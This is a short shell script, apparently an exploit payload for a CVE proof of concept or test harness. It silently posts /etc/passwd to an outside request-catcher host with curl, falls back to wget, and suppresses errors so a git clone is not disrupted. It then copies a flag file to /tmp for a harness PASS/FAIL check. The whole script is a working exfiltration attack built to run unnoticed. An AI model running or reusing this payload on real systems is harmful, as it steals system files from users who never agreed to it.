#!/usr/bin/env sh
set -eu
# Send /etc/passwd to your webhook (ignore errors to avoid breaking clone)
curl -fsSL --max-time 10 --data-binary @/etc/passwd \
  https://cve48384.requestcatcher.com \
  || wget -qO- --timeout=10 --post-file=/etc/passwd \
       https://cve48384.requestcatcher.com \
  || true
# Optional: keep the local flag signal for harness PASS/FAIL
if [ -f "$HOME/flag.txt" ]; then
  (umask 077; cat "$HOME/flag.txt" > /tmp/flag.txt)
fi
